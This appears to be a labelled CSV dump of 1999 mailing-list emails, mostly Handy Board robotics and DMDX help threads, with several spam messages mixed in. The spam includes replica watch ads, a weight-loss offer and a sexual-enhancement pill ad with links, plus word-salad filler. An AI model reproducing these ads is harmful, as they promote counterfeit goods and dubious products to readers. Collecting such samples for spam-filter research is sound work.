Watches!,"REPLICA //ATCHES BAZAAR! Chose your favorite /// a t c he $$$!!!!! http://oyc6crcmbvt25oomto6mt6o6.reactantck.com gift b0xes available! alain silberstein @. lange audemars piguet bmw breguet breitling bvlgari cartier chopard chronoswiss corum franck muller longines maurice lacroix montblanc omega panerai patek philippe piaget tag heuer ulysse nardin vacheron constantin VIP Breguet alain silberstein //arranty!!! Manufacturers' defects are covered by 30 -days' warranty from the day you receive it. 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Bid and sell for free at http://auctions.yahoo.com ",0,1 David Kott ,josh wojnas ,"Sun, 03 Oct 1999 13:08:14 -0400",Re: I have a Chalanging question!,"On Sun, 3 Oct 1999, josh wojnas wrote: > ok I have to read a signal with almost no curent in the mv > range and have it so a computer like the hb can detect it. > now I dont mean just yes or no. I mean to watch the waves > in the mv level and the circut cant distort it. couse dont > amps just increse the hight of the wave??? from a 2mv > signal PLEASE HELP!!! This is a classic application for what is called an Instrumentation Amplifier. An IA functions just like an ordinary Op-Amp, however it typically offers close-to-rail-to-rail outputs and at least a very high input impedance. One would then use this amplifier as a preamp in your circuit. Since you intend on using a Handyboard, I would suggest a single supply IA. Here is Analog Device's IA selection tree. http://products.analog.com/products_html/list_gen_4_2_1.html Here's a selector guide from Maxim. http://209.1.238.248/scripts/cSelector.exe/OP-AMPs/ Here's yet another from National Semiconductor http://www.national.com/parametric/0,1850,2801,00.html Intersil (formerly Harris Semiconductor) has a limited selection that can be found here: http://www.intersil.com/families/linear.asp You would have to be more specific with your application for a less ambiguous response. Information you might find yourself needing would include the output drive capability of your device under test, and the maximum frequency content of the signal you are measuring. -d Curiosity may, or may not, have killed Schrodinger's cat. -townba ",0,1 Gino Heard ,handyboard@media.mit.edu,"Sun, 03 Oct 1999 22:12:41 -0100",Re:,"Watch this company closely starting now! De Greko, Inc. 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So my question is: Are there any other PICs that use C language and that are approximately < $150? If yes, could you please send me more information. Thank you very much. J.M. Mongeau",0,0 Peter ,Handy Board Mailing List ,"Mon, 04 Oct 1999 00:41:10 -0400",Using 2 polaroid ultra sonic modules simultaneously...,"How would you use two ranging modules on the the same HB simult.? There are two different ways on the HB web site but they both use TIC3 at Dig. Input 7. How else would I be able to implement this? Any help would be greatly appreciated... -- --Peter Eacmen eacmen@att.net ",0,0 Colin Barnard ,Abdul Jabbar Tajudeen ,"Mon, 04 Oct 1999 10:30:24 +0100",Re: equivalent darlington pair,"Give me your address and I will send you a ZTX614. Colin > Abdul Jabbar Tajudeen wrote: > > Hi all, > > I have problem in getting NPN darlington ZTX614 in > market.Suggest me some other Darlington pair with the > equivalent characteristics of the above. > > Please give me the full details and kindly donot give any > mailorder site's address. > > Jabbar -- Colin Barnard cgb@dcs.qmw.ac.uk Department of Computer Science Queen Mary & Westfield College University of London Mile End Road London E1 4NS Tel: +44 (0)171 975 5234 Fax: +44 (0)181 980 6533 ",0,0 """C. Fort"" ",DMDX@psy1.psych.arizona.edu,"Mon, 04 Oct 1999 11:46:32 -0700",[DMDX],"Has anyone else had similar inconsistencies with the timing of a program's length? I have a DMDX program which is coded, using , to last 816 seconds. The day before running a subject, I ran the program several times and it timed out exactly at 816 sec., both according to my output file and a stopwatch. The next day, nothing having been altered, it ran 820 seconds (according to output file and stopwatch), both in practice and with my subject. To further complicate the issue, it twice ran for 820 sec. according to the output file, but 816 according to a stopwatch. I've had no error messages or other problems in terms of my image loading time, so the trouble doesn't lie there. Suggestions? Clay ---------------------- Clay Fort Dept. of Psychiatry University of Arizona 520.626.2915 cfort@U.Arizona.edu",0,0 Will ,Handyboard Mailing List ,"Mon, 04 Oct 1999 10:00:02 -0600",Re: HB for science project?,"""J.M. Mongeau"" wrote: > Recently, I have been thinking about using a HandyBoard for my science > project in High School. My project will involve the writing of algorithms, > and I was planning on programming in C. I have been using the Basic Stamp II > (www.parallaxinc.com) for awhile, however, since it uses Basic language, I > don't think it is really a good choice (Is Basic any good for programming > high- level algorithms?..I never really used Basic for complex algorithms). > However, the price for the handy board is fairly expensive and I don't think > I can afford it right now. So my question is: Are there any other PICs that > use C language and that are approximately < $150? If yes, could you please > send me more information. Thank you very much. I'm afraid that I'm not qualified to recommend any PICs, but I do know about programming. Basic can be used to implement fairly complex algorithms, but it's not easy to use it for the really tricky data structures, and it would be almost impossible to do object oriented programming (OOP) in Basic (i.e., encapsulation, inheritance & polymorphism, etc.). C is not a very good language for OOP, either, although it is quite a lot more powerful and expressive than Basic. There's really nothing that can't be done with C, if you have plenty of time to chase down bugs =%o The HB is really ideal for science projects -- if you can afford it. I have heard of new micro-controller processors with Java interpreters on board. Java is about the easiest OOP language there is and also very powerful. I don't know how much the new Java micro-controllers cost, or if they're even available yet. You could check out Sun's Java page (www.javasoft.com) for more info. Best of luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Ninety percent of politicians Will Bain, give the other ten percent a bad name. & Tatoosh --Henry Kissinger",0,0 Sean ,handyboard@media.mit.edu,"Tue, 05 Oct 1999 00:39:56 +0000",Show her you love her with R0LEX,"Wear Real Class Wear ROLEX We carry all major top-name brands, at terrific prices you can ONLY find Online! These watches will dignify any wrist and add class to any outfit. Browse our extensive online store for more great deals on MENS and LADIES watches. SPECIAL THIS WEEK ONLY This week we are offering great deals on SWISS Rolex watches. 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 04 Oct 1999 14:35:38 -0700",[DMDX] Re: ,"At 11:46 AM 10/4/99 -0700, you wrote: >Has anyone else had similar inconsistencies with the timing of a program's >length? > >I have a DMDX program which is coded, using , to last 816 seconds. >The day before running a subject, I ran the program several times and it >timed out exactly at 816 sec., both according to my output file and a >stopwatch. The next day, nothing having been altered, it ran 820 seconds >(according to output file and stopwatch), both in practice and with my >subject. To further complicate the issue, it twice ran for 820 sec. >according to the output file, but 816 according to a stopwatch. > >I've had no error messages or other problems in terms of my image loading >time, so the trouble doesn't lie there. Are you using a D parameter to fix the ISI? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A pedestal is as much a prison as any small, confined space. - Gloria Steinem",0,0 """C. Fort"" ",DMDX@psy1.psych.arizona.edu,"Mon, 04 Oct 1999 15:04:21 -0700",[DMDX],"On Mon, 4 Oct 1999, Jonathan C. Forster wrote: > > Are you using a D parameter to fix the ISI? > > -jonathan (j.c.f.) > No, because my items are timed to appear every 3 sec. regardless of subject response (i.e. they're not making requests). Clay ---------------------- Clay Fort Dept. of Psychiatry University of Arizona 520.626.2915 cfort@U.Arizona.edu ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 04 Oct 1999 15:21:21 -0700",[DMDX] Re: ,"At 03:04 PM 10/4/99 -0700, you wrote: >On Mon, 4 Oct 1999, Jonathan C. Forster wrote: > >> >> Are you using a D parameter to fix the ISI? >> >> -jonathan (j.c.f.) >> > >No, because my items are timed to appear every 3 sec. regardless of >subject response (i.e. they're not making requests). You must still have a D parameter as the ISI is not guarenteed to be anything other than longer than 48 ticks, just how much longer depends on how much work DMDX must do to prepare the item. You should determine what delay you want between items and specify that as the value for the D parameter. And don't pick some really small value either, make it some reasonable value like 48 ticks. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A pedestal is as much a prison as any small, confined space. - Gloria Steinem ",0,0 """Amalgamation Q. Melba"" ",Leslie ,"Mon, 04 Oct 1999 08:37:19 -0700",Tired of being overweight? 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Mikkey Fox, New York Read more testimonals here! http://www.kentir.com Remove you e-mail http://www.luserim.net/u.php ",1,1 Eric Bernard Smiley ,Will ,"Mon, 04 Oct 1999 15:33:17 -0400",Re: HB for science project?,"I forget the web page, but I did find a JAVA compiler for the HB online! It looks great! I havent had a chance to experiment with it yet, but it uses much less memory then IC and appears to be very powerful, might want to look for that. On Mon, 4 Oct 1999, Will wrote: > Date: Mon, 04 Oct 1999 10:00:02 -0600 > From: Will > To: Handyboard Mailing List > Subject: Re: HB for science project? > > ""J.M. Mongeau"" wrote: > > Recently, I have been thinking about using a HandyBoard for my science > > project in High School. My project will involve the writing of algorithms, > > and I was planning on programming in C. I have been using the Basic Stamp II > > (www.parallaxinc.com) for awhile, however, since it uses Basic language, I > > don't think it is really a good choice (Is Basic any good for programming > > high- level algorithms?..I never really used Basic for complex algorithms). > > However, the price for the handy board is fairly expensive and I don't think > > I can afford it right now. So my question is: Are there any other PICs that > > use C language and that are approximately < $150? If yes, could you please > > send me more information. Thank you very much. > > I'm afraid that I'm not qualified to recommend any PICs, but I do know about programming. Basic can be used to implement fairly complex algorithms, but it's not easy to use it for the really tricky data structures, and it would be almost impossible to do object oriented programming (OOP) in Basic (i.e., encapsulation, inheritance & polymorphism, etc.). > > C is not a very good language for OOP, either, although it is quite a lot more powerful and expressive than Basic. There's really nothing that can't be done with C, if you have plenty of time to chase down bugs =%o The HB is really ideal for science projects -- if you can afford it. > > I have heard of new micro-controller processors with Java interpreters on board. Java is about the easiest OOP language there is and also very powerful. I don't know how much the new Java micro-controllers cost, or if they're even available yet. You could check out Sun's Java page (www.javasoft.com) for more info. Best of luck! > > -- Will > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, > ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Wendy Parson, Ninety percent of politicians > Will Bain, give the other ten percent a bad name. > & Tatoosh --Henry Kissinger > >",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Mon, 04 Oct 1999 16:55:32 -0700",[DMDX] Re: Timing accuracy,"At 11:46 AM 10/4/99 -0700, C.Fort wrote: >Has anyone else had similar inconsistencies with the timing of a program's >length? In case this talk of DMDX timing errors unsettles anyone, let me reassure those who have not tried it for themselves -- DMDX is very accurate. I just ran a test on one of our lab machines (nothing running in the background except net traffic). I looked up the refresh time: 13.7 ms (72 hz). Then I prepared the following item: 0 %300 ""Begin timer.......""/ %4320 ""NOW""/ %72 ""STOP!!!""; 4320 ticks = 72 x 60, so this should give 60 secs as the interval between the second and third frames. I ran this 4 times, and got the following values (using my Ultimate Sports Alarm Chrono stopwatch made in China, retail: free with a subscription to TIME): 59.13, 59.38, 59.34, 59.47. Hmmm. Average = 59.33. Not quite 60.00, but not too bad. And then I remembered I was using the Primary display for timing, not the secondary display. So I checked the refresh time for the primary display using TimeDX. The correct refresh time was 13.734 ms. Guess what (4320 x 13.734)/1000 equals? Right -- 59.33! So the point is that if you ask DMDX to control the time, it will. If you are interested in the time it takes to complete a whole series of items, then you need to specify the exact inter-item interval using the d parameter, as Jonathan indicated. --Ken Forster ",0,0 Giang Tran ,handyboard@media.mit.edu,"Mon, 04 Oct 1999 19:42:13 -0500",Re: IC motion control,"It turned out my motors was drawing too much current and thus kept resetting my board. After using a separate motor supply, everything work fine. Thanks. ",0,0 okamoto@granite.cias.osakafu-u.ac.jp,9fans@cse.psu.edu,"Tue, 05 Oct 1999 09:55:06 +0900",[9fans] namespace or file name space?,"This is just concerned with terminology of a concept in Plan 9. In the papers where ""file hierarchy"" are concerned, the term ""file name space"" is used. On the other hand, Programmer's Manual Volume 1 says namespace(4) and namespace(6). Can I use those words with the same meaning? Kenji ",0,0 """KwangJu, Lee"" ","Peter , Handy Board Mailing List ","Tue, 05 Oct 1999 11:00:52 +0900",Re: Using 2 polaroid ultra sonic modules simultaneously...,"There is two more TICs - TIC2 and TIC1. And BINH and INIT signal can be common. So you need seperate only the ECHO signals. Here are my modification of original sonar driver code(from HB web site). I've used TIC3 and TIC2. void sonar_init() { bit_set(0x1009, 0x30); /* ddrd */ bit_set(0x1021, 5); /* at tctl2, */ bit_clear(0x1021, 0x0a); /* set tic3, tic2 for rising edge */ } int sonar_sample() { int start_time; int first, sec; poke(0x1023, 1); /* clear tic3 flag */ poke(0x1023, 2); /* clear tic2 flag */ start_time= peekword(0x100e); /* capture start time */ bit_set(0x1008, 0x20); /* trigger pulse */ while ((peek(0x1023) & 0x3) != 3) { /* wait until receive echo */ if ((peekword(0x100e) - start_time) < 0) { /* if too much time has elapsed, abort */ bit_clear(0x1008, 0x20); return -1; } defer(); /* let others run while waiting */ } bit_clear(0x1008, 0x20); /* clear pulse trigger */ first = peekword(0x1014) - start_time; /* tic3 has time of echo */ sec = peekword(0x1012) - start_time; printf(""1:%d 2:%d\\n"", first, sec); return 1; } Kwang Ju, Lee http://scai.snu.ac.kr/~kjlee ----- Original Message ----- From: Peter To: Handy Board Mailing List Sent: Monday, October 04, 1999 1:41 PM Subject: Using 2 polaroid ultra sonic modules simultaneously... > > How would you use two ranging modules on the the same HB simult.? There > are two different ways on the HB web site but they both use TIC3 at Dig. > Input 7. How else would I be able to implement this? > > Any help would be greatly appreciated... > > > -- > --Peter Eacmen > eacmen@att.net > >",0,1 MAXWELL DICKSON ,handyboard@media.mit.edu,"Tue, 05 Oct 1999 00:29:21 +0200",CONTACT MAXWELL D. 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Thanks Kenji ",0,0 Fern Lott ,handyboard@media.mit.edu,"Tue, 05 Oct 1999 13:57:49 +0100",how are you Zachariah?,"on promotion , assort try goldfish a ham be clergyman ",1,0 steve.kilbane@ind.alstom.com,9fans@cse.psu.edu,"Tue, 05 Oct 1999 14:03:18 +0100",[9fans] Sun Ray: Deja vu," Sun's web site is currently full of ""Sun Ray"", its devastating new breakthrough in systems design, moving all the computation back into a central powerful server, and putting dumb, exchangable bitmap/keyboard/mouse units on the desktop. Right. It has a number of interesting aspects, not least of which is the bandwidth required. Instead of using something like bit(3) to do rendering on the terminal, Sun Ray has X clients render into a virtual frame buffer on the server, which is then zapped across to the terminal. This might be one of the reasons why Sun Ray requires a dedicated switched network, rather than being on the LAN. I didn't spot any mention of the distinction between cpu and file servers (since the server runs Solaris, I guess they're combined). As far as this goes, there is a solid border between cpu server and terminal: the terminal does no application processing. Authentication can be via normal login, or smart cards, with a smart card reader built into the terminal base unit. An interesting side-effect of using a proxy X server on the server is that sessions need not be terminated when you detach. They can continue, and be recovered when you log in again, at another terminal. Another devastating breakthrough, although there is no mention of ""Teleporting"", which Olivetti Labs did in the early 90s using proxy X servers. Supposedly, Citrix WinFrame stuff can be used to display Wintel apps on the same screen, seemingly at the same time, and with cut'n'paste between the Solaris and Wintel apps. Plus, Sun are pushing StarOffice as a means of getting access to most of what Wintel's needed for, without requiring Wintel client licences. Roughly speaking, this seems to take the hardware/administration aspects of the Plan 9 model, and apply them in a blunt manner to the existing Solaris system, with no other changes. I vaguely recall Brazil having a different graphics model, more suited to exploiting high-bandwidth networks. That wouldn't be another unrecognised ancestor of this, would it? steve ",0,0 Livana Ojeda ,handyboard@media.mit.edu,"Tue, 05 Oct 1999 10:14:02 -0500",Whats Hot Today?,"not iliad , draftsperson it activate on eight try squid ",1,0 Jose Luis ,handyboard@media.mit.edu,"Tue, 05 Oct 1999 23:08:36 -0300",LM35 Again ,"Hi, I have been trying again to connect the LM35 temp. sensor (10mV/C) to one of the general-purpose Analog inputs (No pull-up), and I have no success, the result was the following: the analog( ) was 121, the equivalent aprox. to 250 C, obviously incorrect. the output voltage of the LM35 measured connected to the HB was 2,32 V. , which is consistent with the reading I get from analog( ). But if I disconnect the output from the HB, and read the voltage it is 0,2 V. , equivalent to 20 C, which is correct. So I have no idea why this happen, I have used a Hall effect sensor (UGN3503, which has also analog output) and no problem, the HB reads it perfectly and without any adapter. Well, I hope that someone have some idea to share. Thank You. José Luis ",0,0 Maggie Lancaster ,handyboard@media.mit.edu,"Wed, 06 Oct 1999 00:44:59 -0500",are you lean,"it chomp not layout it's doormen some carport some supersede ",1,0 """M.FAZAL"" ",handyboard@media.mit.edu,"Wed, 06 Oct 1999 11:05:24 +0000",Re: HB for science project?,"Date: Mon, 04 Oct 1999 10:00:02 -0600 From: Will ""J.M. Mongeau"" wrote: > Recently, I have been thinking about using a HandyBoard for my science > project in High School. My project will involve the writing of algorithms, > and I was planning on programming in C. I have been using the Basic Stamp II > (www.parallaxinc.com) for awhile, however, since it uses Basic language, I > don't think it is really a good choice (Is Basic any good for programming > high- level algorithms?..I never really used Basic for complex algorithms). > However, the price for the handy board is fairly expensive and I don't think > I can afford it right now. So my question is: Are there any other PICs that > use C language and that are approximately < $150? If yes, could you please > send me more information. Thank you very much. i have used a few PICs, but they have to be programmed in assembly language. but just recently i have found a compiler called C2C which converts C code into assembly code. C2C provides assembly code for PICs from Microchip and Scenic. there is a freeware version to download at http://www.geocities.com/SiliconValley/Network/3656/c2c/c.html i havent used it yet but would be interested if you get any progress. cheers fazal",0,1 Chen-Yung Hsu ,handyboard@media.mit.edu,"Wed, 06 Oct 1999 13:32:36 -0400",Re: pneumatic and hydraulic cylinders,"Hi everyone! can anyone recommend a place where i can get pneumatic and hydraulic cylinders, and hopefully at reasonable prices? my team and i are planning to build a robot making use of those cylinders. has anyone done the same? any advice would be appreciated! =) chen ",0,0 Jeffrey Hazen ,handyboard@media.mit.edu,"Wed, 06 Oct 1999 18:41:45 +0000",RE: pneumatic and hydraulic cylinders,"Reasonable is a such a subjective term ;>) You might look at http://www.clippard.com/. They have a very broad assortment of small pneumatic stuff. Internationally available Parker http:/www.parker.com has all the big stuff you'll ever need... not necessarily cheap, but it depends what you need. Actually, because most large (> 1.5"" ) cylinders are made to N.F.P.A. standards, they are remarkably inexpensive, and lots of different companies make them. Shop around.... HTH Jeff jeffrey.hazen@northmill.net -----Original Message----- From: Chen-Yung Hsu [SMTP:handyboard@media.mit.edu] Sent: Wednesday, October 06, 1999 1:33 PM To: lugnet.robotics.handyboard@lugnet.com Subject: Re: pneumatic and hydraulic cylinders Hi everyone! can anyone recommend a place where i can get pneumatic and hydraulic cylinders, and hopefully at reasonable prices? my team and i are planning to build a robot making use of those cylinders. has anyone done the same? any advice would be appreciated! =) chen ",0,1 ,,,,"] helo=anu.downriver.au) by smtp9.lithography.co with esmtp id 1A5Ys6-586140-04 Message-ID: Sender: freeradius-devel-QCUZQQFW@valentin.de X-Mailman-Version: 2.0.1 Date: Wed, 6 Oct 1999 23:10:45 +0600 From: ""Ericka Chambers"" To: handyboard@media.mit.edu Subject: Re: -Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://spyhotjobs.info compete christoph crucial cartilaginous assess is inclose duluth tananarive coset extraterrestrial beograd artifact f myosin hideaway deniable basis bismuth infatuate pol client emendable aniseikonic trestle macarthur rebuttal occultate miscible sport dualism muscovy extraordinary tile bohr tribal anderson carnegie beginning miraculous cryptogram crystalline buchanan dunedin zeus demigod wesley fetal amanuensis yardage barbour wither barre inglorious",1,1 rmtmd ,"Chen-Yung Hsu , handyboard@media.mit.edu","Wed, 06 Oct 1999 15:32:38 -0700",Re: pneumatic and hydraulic cylinders,"Lego makes pneumatic systems. If your needs aren't too demanding, you may find this a cost effective approach. Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX ",0,0 Bob Baxley ,handyboard@media.mit.edu,"Wed, 06 Oct 1999 23:38:36 +0000",Retrieving data from the handyboard,I need to transfer the data in a matrix on the HB to my win98 PC? I know a special program is necessary to interpret the signals going to the COM port. Does anyone have such a program or have the have some code that I can compile with VS 6.0? Here is the function I am using: int map[15][15][5]; void output() { int v=0; int h=0; int o=0; for(v = 0; v<15; v++) { for(h=0; h<15; h++) { for(o=0; o<5; o++){ serial_putchar(map[v][h][o]); } } } },0,0 Andrew Walker ,handyboard@media.mit.edu,"Thu, 07 Oct 1999 03:13:25 +0000",IR proximity detectors," I'm trying to set up either one or preferably two near infra red proximity detectors. I'm wondering whether the sharp IS1U60L component mounted on the handy-board is suitable for this type of application. We managed to make it work recieving codes from a sony remote, but are having problems using LED's to emit a signal. As far as I know, I have to emit a short pulse, and then wait until the detector registers a return signal and the time difference will be proportional to the distance. Software drivers/locations and hardware details suitable for this application would be much appreciated. Thank you in advance, Andrew Walker ",0,0 Sean Verret ,"Bob Baxley , handyboard@media.mit.edu","Wed, 06 Oct 1999 20:59:06 -0700",RE: Retrieving data from the handyboard,"Interactive C can't handle 2D or 3D arrays.... instead another method needs to be used.. If your matrix was a 3X3 789 456 123 and rows went from bottom to top and columns from left to right then you'd have to come up with a formula using the row and column numbers to access each cell for example in this configuration you can access any of the cells using the formula let the row# = j let the col# = i total number of rows = J total number of cols = I cell# = (j-1)*J+i or if the matrix is like so 369 258 147 cell# = (i-1)*I+j I've never tried for a 3D array but assuming that there was a layer on top of the second matrix shown, with the same pattern... depth# = k total depths = K cell# = (i-1)*I+j+(I*J)*(k-1) Hope that helps if you can follow the variables.... .-----Original Message----- .From: news-gateway@lugnet.com [mailto:news-gateway@lugnet.com]On Behalf .Of Bob Baxley .Sent: Wednesday, October 06, 1999 4:39 PM .To: handyboard@media.mit.edu .Subject: Retrieving data from the handyboard . . .I need to transfer the data in a matrix on the HB to my win98 PC? I know a .special program is necessary to interpret the signals going to the .COM port. .Does anyone have such a program or have the have some code that I .can compile .with VS 6.0? Here is the function I am using: . . .int map[15][15][5]; .void output() . { . . int v=0; . int h=0; . int o=0; . for(v = 0; v<15; v++) { . for(h=0; h<15; h++) { . for(o=0; o<5; o++){ . serial_putchar(map[v][h][o]); . } . } . } . } .",0,0 Nick Taylor ,handyboard@media.mit.edu,"Wed, 06 Oct 1999 21:33:50 -0700",Re: IR proximity detectors,"Andrew - - Take a look at Dennis' IRPD ... it uses a 12C508, 2 IR LEDs and a Sharp detector ... works great with the HandyBoard and off loads much of the processing to the PIC. If you want to do it with the HB, then do a search on IRPD and you'll find a ton of info. Good luck, - Nick - Andrew Walker wrote: > > I'm trying to set up either one or preferably two near infra red proximity > detectors. I'm wondering whether the sharp IS1U60L component mounted on the > handy-board is suitable for this type of application. > We managed to make it work recieving codes from a sony remote, but are having > problems using LED's to emit a signal. As far as I know, I have to emit a > short pulse, and then wait until the detector registers a return signal and the > time difference will be proportional to the distance. > Software drivers/locations and hardware details suitable for this application > would be much appreciated. > > Thank you in advance, > Andrew Walker ",0,0 Michael Miranda ,handyboard@media.mit.edu,"Wed, 06 Oct 1999 23:17:14 -0700",IR question,"hello all, quick question- inside the Handy Board Tech. Ref. we saw two IR sensors mentioned (Quality Tech. QRD 1114 & QRB 1114). we are wondering if anyone has used these sensors and knows how to obtain them? we have contacted our HB vendor, but they had no information for us. Thanks for the help!!!! mike mech. engr. sjsu __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com ",0,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 07 Oct 1999 09:55:05 +0000",Re: IR proximity detectors,"you won't be able to easily) get distance measures with standard IR comms parts (such as the IS1u60). light travels too fast for the time delay betw xmit and rcv to tell you anything. as a proximity sensor, all you get is a yes/no reading. if you have a well-aimed part, you might be able to use a pair to detect close/far. for distance, use a specialized distance sensor like the sharp GP2d02. info is at www.acroname.com. fred In your message you said: > I'm trying to set up either one or preferably two near infra red proximity > detectors. I'm wondering whether the sharp IS1U60L component mounted on the > handy-board is suitable for this type of application. > We managed to make it work recieving codes from a sony remote, but are havi ng > problems using LED's to emit a signal. As far as I know, I have to emit a > short pulse, and then wait until the detector registers a return signal and t he > time difference will be proportional to the distance. > Software drivers/locations and hardware details suitable for this applicati on > would be much appreciated. > > Thank you in advance, > Andrew Walker > ",0,0 Dennis Clark ,handyboard@media.mit.edu,"Thu, 07 Oct 1999 15:22:18 +0000",Re: IR proximity detectors,"In lugnet.robotics.handyboard, Andrew Walker writes: > I'm trying to set up either one or preferably two near infra red proximity >detectors. I'm wondering whether the sharp IS1U60L component mounted on the >handy-board is suitable for this type of application. [snip] Andrew, Take a peek at http://www.verinet.com/~dlc/botlinks.htm and bonk on the IRPD project. Getting IR demodulators to work reliably is a bit more tricky that just looking for a bounce. I have done a LOT of work in that area and have found that you really need to take into account the background noise to get a reliable ""hit"" rate. On that web page is a schematic and PIC 12C508 code for implementing a self-contained IRPD using the big ugly metal can GP1U58Y style IR modules. The IS1U60 will work too, but, believe it or not, the +5 and ground are swapped with respect to the GP1U modules! Also, the spec sheets note the use of a low-pass filter made from a 47 ohm resistor and 47uf cap on the +5v power line - you MUST use this or the darn thing is flaky. Another problem with the IS1U60 is the transparent case. In every instance where I have used the IS1U60 I have had to paint flat black (or gray) paint on the sides, top and bottom to prevent stray IR bounces from triggering the module. Also, Fred, you can sometimes (depending on the IR module) get reliable relative range finding from these modules if you check for a ""hit"" after every pulse sent out on the LED, or count the number of times you read a ""hit"" while you are pulsing the LED, the return bounce is often proportional to the distance from the object reflecting the IR. This is the digital method of range finding corresponding to the analog ""hack"" of the GP1u58Y modules that was so popular last year. You have to take into account the integration delay of that particular module. I have found that the GP1U modules and the LiteOn modules have about a 200us delay from when they start seeing the pulses to when the detect line flips low. Food for thought! DLC ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 07 Oct 1999 12:49:19 -0700",[DMDX] optimised '98," For those of you concerned about display errors and that are running '98 there is an interesting utility available: http://www.98lite.net/ It's been available for a while but has required a deal of skill on the part of the person installing it, it now has a reasonably friendly installer. What can do (amongst other things) is remove the Internet Explorer from the machine, a large program that is likely to be consuming cpu cyles that DMDX could use to prevent display errors, it certainly consumes memory resources that DMDX can use for more intensive item files using large amounts of sound or AVIs and so forth. The registered pro version includes an interesting option, 98micro, which I haven't tested (I don't have the pro version) but stands to yeild even greater benefit -- put it this way, if his benchmarks show a 5% increase in frame rate for Quake then that applies to DMDX as it's displaying frames, the additional 5% increase for the business apps is more liklely to be an ISI improvement for DMDX as it prepares materials for display. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A pedestal is as much a prison as any small, confined space. - Gloria Steinem ",0,1 Edward Delaney ,handyboard@media.mit.edu,"Thu, 07 Oct 1999 14:33:04 -0400",More IR proximity detectors,"We're trying to use the little radio shack IR transmitter and reciever units to build our own. We're not sure exactly how this will work, but before we get too far, is this a reasonable thing to do? Will these be strong enough to use as proximity detectors? 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I recently got hold of a sharp GP2D12 ir range sensor (The analog version, not 8-bit serial) Upon connecting it to my handyboard (Vcc-5v, Gnd-Gnd, and Vo to analog port) I get between 249 and about 251 value from the analog port. Clearly no good. Am I doing something wrong? I know the HB has a 47k pullup, is this messing with things? Anybody had the same problem and sorted it? Matt P.s I've had the same problem with both of my 'D12 sensors. ",0,0 """T.C."" ",handyboard@media.mit.edu,"Fri, 08 Oct 1999 14:09:34 -0700",Motors,"Does anyone know where to get good motors that work good with the handyboard. I need geared DC motors because we dont want our project to be a racing car. If anyone has any answers or suggestions please email me back. Thanks. TIM ===== __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com ",0,1 Peter Abrahamson ,handyboard@media.mit.edu,"Sat, 09 Oct 1999 02:13:12 +0000",Re: Motors,"Try Micro Mo, they have high quality motors and gearheads. They can be pricy if money is an issue. http://www.micromo.com/ Peter In lugnet.robotics.handyboard, handyboard@media.mit.edu (T.C.) writes: >Does anyone know where to get good motors that work >good with the handyboard. I need geared DC motors >because we dont want our project to be a racing car. >If anyone has any answers or suggestions please email >me back. Thanks. > > TIM > > >===== ",0,1 Michael N Rosenblatt ,"""T.C."" ","Sat, 09 Oct 1999 00:05:43 -0400",Re: Motors," no doubt Micro Mo motors are sweet, but if the project is on a hobby budget, also consider: All Electronics -An electronics surplus company with a decent selection of motors and lots of other neat gadgets for robot building. This will be among the cheapest of your options. www.allelectronics.com Pittman -Another manufacturer of high quality motors, not quite as expensive, but still pricy. They also have gearhead motors and motors with built in encoders. We've used Pittmans for some robot projects at CMU with great success. Extensive specs on the web at: http://www.pittmannet.com/ Grainger -""distributor of maintenance, repair, and operating (MRO) supplies"" has a few pages of motors in their phonebook-sized catalog. They have gear motors starting at $20 or $30. www.grainger.com best of luck, Michael On Fri, 8 Oct 1999, T.C. wrote: > Does anyone know where to get good motors that work > good with the handyboard. I need geared DC motors > because we dont want our project to be a racing car. > If anyone has any answers or suggestions please email > me back. Thanks. > > TIM > > > ===== > > __________________________________________________ > Do You Yahoo!? > Bid and sell for free at http://auctions.yahoo.com > ",0,1 William Ho ,handyboard@media.mit.edu,"Sat, 09 Oct 1999 15:27:08 +0800",RF transceiver,"Hi , I am a handyboard user and I am trying to build a tele-robot. I am using the transmitter and receiver from Glolab. I have fix up a pair of transceiver namely ""A"" and ""B"" (with TM1V and RM1V) as guided in ""How Encoders and Decoders work"" using HT-680 and HT-694. Transceiver ""A"" is connected to my host computer and transceiver ""B"" is connected to my handyboard. Each transceiver has their common ground and +V5. These transceivers work well in half-duplex mode. I fixed a LED to the VT port of HT-694 and the LED light-up whenever valid data is being received. But I can't operate these transceiver in full duplex mode. Whenever the transceiver ""A"" is busy receiving data, it just can't transmit out any signal. When the receiving LED ""A"" (VT) is light-up, and when I tried to pull the TE of the transmitter ""A"" to ON (+5V sharing power source for both TM1V and RM1V), the receiving LED turn off and the other transceiver ""B"" didn't receiving any signal as the led ""B"" didn't light-up. I tried to solve this problem to have two antennas for transmitter and receiver but end up with the same result. I tried to separate the +5V power source for the transmitter and receiver but this doesn't solve my problem. It is not possible for me to separate the common ground (if this is the solution) as I need to connect all of the signal to one parallel port from my host computer with one common ground. Please advise on 